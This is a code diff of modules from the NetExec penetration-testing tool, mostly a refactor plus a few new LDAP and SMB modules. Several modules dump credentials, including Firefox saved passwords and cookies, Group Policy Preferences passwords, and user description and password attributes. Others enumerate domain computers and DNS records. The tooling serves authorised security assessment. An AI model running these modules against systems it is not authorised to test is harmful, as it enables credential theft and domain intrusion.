+from nxc.helpers.misc import CATEGORY
 from nxc.logger import nxc_logger
 from impacket.ldap.ldap import LDAPSearchError
 from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +16,15 @@ class NXCModule:
     name = "find-computer"
     description = "Finds computers in the domain via the provided text"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """
-        find-computer: Specify find-computer to call the module
-        TEXT: Specify the TEXT option to enter your text to search for
-        Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
-               nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
+        TEXT    Search TEXT in the operating system or name of the computer.
+
+        Examples:
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
         """
         self.TEXT = ""
 
@@ -35,11 +35,11 @@ class NXCModule:
             sys.exit(1)
 
     def on_login(self, context, connection):
-        search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
+        search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
 
         try:
             context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
+            resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
         except LDAPSearchError as e:
             if e.getErrorString().find("sizeLimitExceeded") >= 0:
                 context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -69,12 +69,12 @@ class NXCModule:
         if len(answers) > 0:
             context.log.success("Found the following computers: ")
             for answer in answers:
-                try:
-                    ip = socket.gethostbyname(answer[0])
-                    context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
-                    context.log.debug("IP found")
-                except socket.gaierror:
-                    context.log.debug("Missing IP")
+                resolv = connection.resolver(answer[0])
+                if resolv:
+                    context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
+                    context.log.debug("IP found via DNS query")
+                else:
+                    context.log.debug(f"No DNS response for {answer[0]}")
                     context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
         else:
             context.log.success(f"Unable to find any computers with the text {self.TEXT}")

nxc/modules/firefox.py

@@ -1,5 +1,6 @@
 from dploot.lib.target import Target
-from nxc.protocols.smb.firefox import FirefoxTriage
+from nxc.helpers.misc import CATEGORY
+from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
 
 
 class NXCModule:
@@ -10,16 +11,23 @@ class NXCModule:
     """
 
     name = "firefox"
-    description = "Dump credentials from Firefox"
+    description = "[REMOVED] Dump credentials from Firefox"
     supported_protocols = ["smb"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """Dump credentials from Firefox"""
+        """
+        [REMOVED] use the --dpapi flag instead of the module firefox.
+
+        COOKIES    Get also Firefox cookies
+        """
+        self.gather_cookies = "COOKIES" in module_options
 
     def on_admin_login(self, context, connection):
-        host = connection.hostname + "." + connection.domain
+        context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
+        return
+
+        host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         domain = connection.domain
         username = connection.username
         kerberos = connection.kerberos
@@ -41,19 +49,25 @@ class NXCModule:
             use_kcache=use_kcache,
         )
 
+        def firefox_callback(secret):
+            if isinstance(secret, FirefoxData):
+                url = secret.url + " -" if secret.url != "" else "-"
+                context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
+                context.db.add_dpapi_secrets(
+                    target.address,
+                    "FIREFOX",
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, FirefoxCookie):
+                context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
+
         try:
             # Collect Firefox stored secrets
-            firefox_triage = FirefoxTriage(target=target, logger=context.log)
+            firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
             firefox_triage.upgrade_connection(connection=connection.conn)
-            firefox_credentials = firefox_triage.run()
-            for credential in firefox_credentials:
-                context.log.highlight(
-                    "[{}][FIREFOX] {} {}:{}".format(
-                        credential.winuser,
-                        credential.url + " -" if credential.url != "" else "-",
-                        credential.username,
-                        credential.password,
-                    )
-                )
+            firefox_triage.run(gather_cookies=self.gather_cookies)
         except Exception as e:
             context.log.debug(f"Error while looting firefox: {e}")

nxc/modules/get-desc-users.py

@@ -1,7 +1,8 @@
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import re
+from nxc.helpers.misc import CATEGORY
 from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
 class NXCModule:
@@ -11,10 +12,9 @@ class NXCModule:
     """
 
     name = "get-desc-users"
-    description = "Get description of the users. May contained password"
+    description = "Get description of the users. May contain password"
     supported_protocols = ["ldap"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """
@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -40,7 +40,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldapConnection.search(
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["sAMAccountName", "description"],
                 sizeLimit=0,
@@ -55,24 +55,10 @@ class NXCModule:
                 nxc_logger.debug(e)
                 return False
 
-        answers = []
         context.log.debug(f"Total of records returned {len(resp)}")
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            sAMAccountName = ""
-            description = ""
-            try:
-                for attribute in item["attributes"]:
-                    if str(attribute["type"]) == "sAMAccountName":
-                        sAMAccountName = str(attribute["vals"][0])
-                    elif str(attribute["type"]) == "description":
-                        description = attribute["vals"][0]
-                if sAMAccountName != "" and description != "":
-                    answers.append([sAMAccountName, description])
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
+
         answers = self.filter_answer(context, answers)
         if len(answers) > 0:
             context.log.success("Found following users: ")
@@ -102,6 +88,11 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                if conditionFilter and not self.PASSWORDPOLICY:
+                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
+                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
                     answersFiltered.append([answer[0], description])
+                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
+
         return answersFiltered

nxc/modules/get-info-users.py

@@ -0,0 +1,45 @@
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get the info field of users
+    Module by @sepauli
+    """
+    name = "get-info-users"
+    description = "Get the info field of all users. May contain password"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """FILTER    Apply the FILTER (grep-like) (default: '')"""
+        self.FILTER = ""
+        if "FILTER" in module_options:
+            self.FILTER = module_options["FILTER"]
+
+    def on_login(self, context, connection):
+        # Building the search filter
+        resp = connection.search(
+            searchFilter="(info=*)",
+            attributes=["sAMAccountName", "info"]
+        )
+
+        context.log.debug(f"Total of records returned {len(resp)}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
+
+        answers = self.filter_answer(context, answers)
+        if answers:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
+
+    def filter_answer(self, context, answers):
+        # No option to filter
+        if not self.FILTER:
+            context.log.debug("No filter option enabled")
+            return answers
+        # Filter
+        context.log.debug(f"Filter info field with: {self.FILTER}")
+        return [answer for answer in answers if self.FILTER in answer[1]]

nxc/modules/get-network.py

@@ -2,18 +2,17 @@
 # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
 # module by @mpgn_x64
 import re
-from os.path import expanduser
 import codecs
 import socket
 from datetime import datetime
 from struct import unpack
 
-import dns.name
-import dns.resolver
-from impacket.ldap import ldap
 from impacket.structure import Structure
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from ldap3 import LEVEL
+from os.path import expanduser
+from nxc.helpers.misc import CATEGORY
+from nxc.paths import NXC_PATH
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
 def get_dns_zones(connection, root, debug=False):
@@ -26,25 +25,8 @@ def get_dns_zones(connection, root, debug=False):
     return zones
 
 
-def get_dns_resolver(server, context):
-    # Create a resolver object
-    dnsresolver = dns.resolver.Resolver()
-    # Is our host an IP? In that case make sure the server IP is used
-    # if not assume lookups are working already
-    try:
-        if server.startswith("ldap://"):
-            server = server[7:]
-        if server.startswith("ldaps://"):
-            server = server[8:]
-        socket.inet_aton(server)
-        dnsresolver.nameservers = [server]
-    except OSError:
-        context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
-    return dnsresolver
-
-
-def ldap2domain(ldap):
-    return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
+def ldap2domain(baseDN):
+    return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
 
 
 def new_record(rtype, serial):
@@ -65,28 +47,29 @@ RECORD_TYPE_MAPPING = {
     5: "CNAME",
     6: "SOA",
     12: "PTR",
-    # 15: 'MX',
-    # 16: 'TXT',
+    15: "MX",
+    16: "TXT",
     28: "AAAA",
     33: "SRV",
 }
 
-
-def searchResEntry_to_dict(results):
-    data = {}
-    for attr in results["attributes"]:
-        key = str(attr["type"])
-        value = str(attr["vals"][0])
-        data[key] = value
-    return data
+ZERO = 0
+A = 1
+NS = 2
+CNAME = 5
+SOA = 6
+PTR = 12
+MX = 15
+TXT = 16
+AAAA = 28
+SRV = 33
 
 
 class NXCModule:
     name = "get-network"
     description = "Query all DNS records with the corresponding IP from the domain."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """
@@ -95,61 +78,44 @@ class NXCModule:
         """
         self.showall = False
         self.showhosts = False
-        self.showip = True
 
         if module_options and "ALL" in module_options:
             if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
                 self.showall = True
             else:
-                print("Could not parse ALL option.")
-        if module_options and "IP" in module_options:
-            if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
-                self.showip = True
-            else:
-                print("Could not parse ONLY_HOSTS option.")
+                context.log.display("Could not parse ALL option.")
         if module_options and "ONLY_HOSTS" in module_options:
             if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
                 self.showhosts = True
             else:
-                print("Could not parse ONLY_HOSTS option.")
+                context.log.display("Could not parse ONLY_HOSTS option.")
 
     def on_login(self, context, connection):
         zone = ldap2domain(connection.baseDN)
         dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
         search_target = f"DC={zone},{dns_root}"
         context.log.display("Querying zone for records")
-        sfilter = "(DC=*)"
 
-        try:
-            list_sites = connection.ldapConnection.search(
-                searchBase=search_target,
-                searchFilter=sfilter,
-                attributes=["dnsRecord", "dNSTombstoned", "name"],
-                sizeLimit=100000,
-            )
-        except ldap.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
-                # paged queries
-                list_sites = e.getAnswers()
-            else:
-                raise
-        get_dns_resolver(connection.host, context.log)
+        list_sites = connection.search(
+            searchFilter="(DC=*)",
+            attributes=["dnsRecord", "dNSTombstoned", "name"],
+            baseDN=search_target,
+        )
+        list_sites_parsed = parse_result_attributes(list_sites)
 
         outdata = []
-
-        for item in list_sites:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            site = searchResEntry_to_dict(item)
+        for site in list_sites_parsed:
             recordname = site["name"]
 
             if "dnsRecord" in site:
-                record = bytes(site["dnsRecord"].encode("latin1"))
-                dr = DNS_RECORD(record)
-                if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
-                    if dr["Type"] == 1:
+                if isinstance(site["dnsRecord"], list):  # noqa: SIM108
+                    records = [bytes(r) for r in site["dnsRecord"]]
+                else:
+                    records = [bytes(site["dnsRecord"])]
+
+                for record in records:
+                    dr = DNS_RECORD(record)
+                    if dr["Type"] == A:
                         address = DNS_RPC_RECORD_A(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -159,17 +125,18 @@ class NXCModule:
                                     "value": address.formatCanonical(),
                                 }
                             )
-                    if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
+                    # Skip without "ALL" and "ONLY_HOSTS" => only IPs
+                    elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
                         address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
                                 {
                                     "name": recordname,
                                     "type": RECORD_TYPE_MAPPING[dr["Type"]],
-                                    "value": address[next(iter(address.fields))].toFqdn(),
+                                    "value": address["nameNode"].toFqdn(),
                                 }
                             )
-                    elif dr["Type"] == 28:
+                    elif dr["Type"] == AAAA:
                         address = DNS_RPC_RECORD_AAAA(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -180,8 +147,13 @@ class NXCModule:
                                 }
                             )
 
+        # Filter duplicate IPs if "ALL"  and "ONLY_HOSTS" are not set
+        if not (self.showall or self.showhosts):
+            seen_ips = set()
+            outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
+
         context.log.highlight(f"Found {len(outdata)} records")
-        path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
+        path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         with codecs.open(path, "w", "utf-8") as outfile:
             for row in outdata:
                 if self.showhosts:

nxc/modules/get-unixUserPassword.py

@@ -0,0 +1,46 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.helpers.misc import CATEGORY
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get unixUserPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-unixUserPassword"
+    description = "Get unixUserPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(unixUserPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "unixUserPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -0,0 +1,46 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.helpers.misc import CATEGORY
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get userPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-userPassword"
+    description = "Get userPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(userPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "userPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get_netconnections.py

@@ -1,5 +1,7 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.helpers.misc import CATEGORY
+from nxc.paths import NXC_PATH
 import json
 
 
@@ -13,11 +15,10 @@ class NXCModule:
     name = "get_netconnections"
     description = "Uses WMI to query network connections."
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
-        """No options"""
+        """No options available"""
 
     def on_admin_login(self, context, connection):
         data = []
@@ -31,4 +32,4 @@ class NXCModule:
 
         log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
         write_log(json.dumps(data), log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/gpp_autologin.py

@@ -1,5 +1,6 @@
 import xml.etree.ElementTree as ET
 from io import BytesIO
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -11,8 +12,7 @@ class NXCModule:
     name = "gpp_autologin"
     description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """ """

nxc/modules/gpp_password.py

@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
 from base64 import b64decode
 from binascii import unhexlify
 from io import BytesIO
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -14,21 +15,21 @@ class NXCModule:
     name = "gpp_password"
     description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """ """
+        """No options available"""
 
     def on_login(self, context, connection):
         shares = connection.shares()
         for share in shares:
-            if share["name"] == "SYSVOL" and "READ" in share["access"]:
+            if share["name"].lower() == "sysvol" and "READ" in share["access"]:
+                sysvol = share["name"]
                 context.log.success("Found SYSVOL share")
                 context.log.display("Searching for potential XML files containing passwords")
 
                 paths = connection.spider(
-                    "SYSVOL",
+                    sysvol,
                     pattern=[
                         "Groups.xml",
                         "Services.xml",
@@ -43,7 +44,7 @@ class NXCModule:
                     context.log.display(f"Found {path}")
 
                     buf = BytesIO()
-                    connection.conn.getFile("SYSVOL", path, buf.write)
+                    connection.conn.getFile(sysvol, path, buf.write)
                     xml = ET.fromstring(buf.getvalue())
                     sections = []
 

nxc/modules/gpp_privileges.py

@@ -0,0 +1,259 @@
+import ssl
+import ldap3
+import re
+from io import BytesIO
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
+    and resolving SIDs using LDAP.
+    """
+
+    name = "gpp_privileges"
+    description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    WELL_KNOWN_SIDS = {
+        "S-1-0": "Null Authority",
+        "S-1-0-0": "Nobody",
+        "S-1-1": "World Authority",
+        "S-1-1-0": "Everyone",
+        "S-1-2": "Local Authority",
+        "S-1-2-0": "Local",
+        "S-1-2-1": "Console Logon",
+        "S-1-3": "Creator Authority",
+        "S-1-3-0": "Creator Owner",
+        "S-1-3-1": "Creator Group",
+        "S-1-3-2": "Creator Owner Server",
+        "S-1-3-3": "Creator Group Server",
+        "S-1-3-4": "Owner Rights",
+        "S-1-5-80-0": "All Services",
+        "S-1-4": "Non-unique Authority",
+        "S-1-5": "NT Authority",
+        "S-1-5-1": "Dialup",
+        "S-1-5-2": "Network",
+        "S-1-5-3": "Batch",
+        "S-1-5-4": "Interactive",
+        "S-1-5-6": "Service",
+        "S-1-5-7": "Anonymous",
+        "S-1-5-8": "Proxy",
+        "S-1-5-9": "Enterprise Domain Controllers",
+        "S-1-5-10": "Principal Self",
+        "S-1-5-11": "Authenticated Users",
+        "S-1-5-12": "Restricted Code",
+        "S-1-5-13": "Terminal Server Users",
+        "S-1-5-14": "Remote Interactive Logon",
+        "S-1-5-15": "This Organization",
+        "S-1-5-17": "This Organization",
+        "S-1-5-18": "Local System",
+        "S-1-5-19": "NT Authority",
+        "S-1-5-20": "NT Authority",
+        "S-1-5-32-544": "Administrators",
+        "S-1-5-32-545": "Users",
+        "S-1-5-32-546": "Guests",
+        "S-1-5-32-547": "Power Users",
+        "S-1-5-32-548": "Account Operators",
+        "S-1-5-32-549": "Server Operators",
+        "S-1-5-32-550": "Print Operators",
+        "S-1-5-32-551": "Backup Operators",
+        "S-1-5-32-552": "Replicators",
+        "S-1-5-64-10": "NTLM Authentication",
+        "S-1-5-64-14": "SChannel Authentication",
+        "S-1-5-64-21": "Digest Authority",
+        "S-1-5-80": "NT Service",
+        "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
+        "S-1-16-0": "Untrusted Mandatory Level",
+        "S-1-16-4096": "Low Mandatory Level",
+        "S-1-16-8192": "Medium Mandatory Level",
+        "S-1-16-8448": "Medium Plus Mandatory Level",
+        "S-1-16-12288": "High Mandatory Level",
+        "S-1-16-16384": "System Mandatory Level",
+        "S-1-16-20480": "Protected Process Mandatory Level",
+        "S-1-16-28672": "Secure Process Mandatory Level",
+        "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+        "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+        "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
+        "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
+        "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+        "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+        "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+        "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+        "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+        "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+        "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+        "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+        "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+        "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+        "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+        "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+        "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+        "S-1-5-32-580": "BUILTIN\\Remote Management Users",
+    }
+
+    def options(self, context, module_options):
+        """NO_LDAP      If set to True, disables LDAP queries for resolving SIDs."""
+        self.no_ldap = module_options.get("NO_LDAP", False)
+
+    def on_login(self, context, connection):
+        try:
+            connection.conn.listPath("SYSVOL", "*")
+        except Exception as e:
+            context.log.fail(f"Failed to list shares: {e}")
+            return
+
+        context.log.display("Searching for GptTmpl.inf files")
+        paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
+
+        if not paths:
+            context.log.warning("No GptTmpl.inf files found in SYSVOL.")
+            return
+
+        for path in paths:
+            if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path:  # Default Domain Policy
+                context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
+            else:
+                context.log.info(f"Found GptTmpl.inf: {path}")
+
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+
+            try:
+                content = buf.getvalue().decode("utf-16le")
+            except UnicodeDecodeError as e:
+                context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
+                continue
+
+            privileges = self.extract_privileges(content)
+            if privileges:
+                ldap_connection = None
+                if not self.no_ldap:
+                    ldap_connection = self.initialize_ldap_connection(context, connection)
+
+                context.log.success(f"Privileges extracted from {path}:")
+                for privilege, sids in privileges.items():
+                    resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
+                    context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
+
+                if ldap_connection:
+                    ldap_connection.unbind()
+
+    def extract_privileges(self, content):
+        """Parses the content of GptTmpl.inf to extract privilege rights."""
+        privileges = {}
+        in_priv_section = False
+
+        for line in content.splitlines():
+            if line.strip() == "[Privilege Rights]":
+                in_priv_section = True
+                continue
+            if in_priv_section and line.strip() == "":
+                break
+            if in_priv_section:
+                match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
+                if match:
+                    privilege, sids = match.groups()
+                    privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
+
+        return privileges
+
+    def initialize_ldap_connection(self, context, connection):
+        """
+        Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
+        Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
+        """
+        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
+        base_dn = None
+
+        try:
+            ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
+            ldap_connection = ldap3.Connection(
+                ldap_server,
+                user=f"{connection.domain}\\{connection.username}",
+                password=connection.password,
+                authentication=ldap3.NTLM,
+                raise_exceptions=True,
+            )
+            ldap_connection.bind()
+            context.log.success("Connected to LDAP over SSL (LDAPS).")
+
+            try:
+                base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
+            except Exception as e:
+                context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
+
+            if not base_dn:
+                domain_parts = connection.domain.split(".")
+                base_dn = ",".join([f"dc={part}" for part in domain_parts])
+                context.log.info(f"Derived base DN: {base_dn}")
+
+            ldap_connection.base_dn = base_dn
+            return ldap_connection
+
+        except Exception as ldaps_error:
+            context.log.warning(f"LDAPS connection failed: {ldaps_error}")
+            context.log.info("Falling back to plain LDAP...")
+
+        try:
+            ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
+            ldap_connection = ldap3.Connection(
+                ldap_server,
+                user=f"{connection.domain}\\{connection.username}",
+                password=connection.password,
+                authentication=ldap3.NTLM,
+                raise_exceptions=True,
+            )
+            ldap_connection.bind()
+            context.log.info("Connected to LDAP successfully (plaintext).")
+
+            try:
+                base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
+            except Exception as e:
